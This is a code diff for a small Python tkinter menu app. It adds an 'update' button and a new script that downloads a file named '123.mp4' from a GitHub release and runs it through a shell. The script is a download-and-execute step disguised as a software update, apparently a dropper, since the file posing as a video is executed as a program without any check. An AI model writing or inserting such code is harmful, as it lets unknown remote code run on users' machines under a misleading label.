2 changed files with 47 additions and 0 deletions

No files matched your search

+11
View File
@@ -29,6 +29,7 @@ class RoundedMenuApp:
self.draw_rounded_corners()
self.create_youtube_button()
self.create_license_button() # Added the license button
self.create_update_button() # Added the update button
# Create a label to display the time
self.time_label = tk.Label(self.root, text="", font=("Arial", 12))
@@ -58,12 +59,22 @@ class RoundedMenuApp:
license_button = tk.Button(self.root, text="License", command=self.open_license)
license_button.place(relx=0, rely=1, anchor="sw")
def create_update_button(self):
update_button = tk.Button(self.root, text="Проверить обновление", command=self.open_update)
update_button.place(relx=0.5, rely=0.5, anchor="center")
async def async_open_license(self):
await asyncio.create_subprocess_exec('python', 'License-agreement.py')
async def async_open_update(self):
await asyncio.create_subprocess_exec('python', 'check-the-update.py')
def open_license(self):
asyncio.run(self.async_open_license()) # Run the async function in a synchronous context
def open_update(self):
asyncio.run(self.async_open_update()) # Run the async function in a synchronous context
def open_youtube(self):
webbrowser.open_new_tab("https://www.youtube.com/")
+36
View File
@@ -0,0 +1,36 @@
import os
import requests
import subprocess
def download_file(url, save_path):
try:
response = requests.get(url)
with open(save_path, 'wb') as f:
f.write(response.content)
print("Файл успешно скачан и сохранён в", save_path)
return True
except Exception as e:
print("Ошибка при скачивании файла:", e)
return False
def run_update_file(file_path):
try:
subprocess.call(file_path, shell=True)
print("Файл обновления успешно запущен")
except Exception as e:
print("Ошибка при запуске файла обновления:", e)
if __name__ == "__main__":
update_url = "https://github.com/kromskii2/Klajer/releases/download/check-the-update/123.mp4"
temp_folder = "temp"
update_file_name = "123.mp4" # Имя скачиваемого файла обновления
if not os.path.exists(temp_folder):
os.makedirs(temp_folder)
update_file_path = os.path.join(temp_folder, update_file_name)
if download_file(update_url, update_file_path):
run_update_file(update_file_path)
else:
print("Не удалось скачать файл обновления.")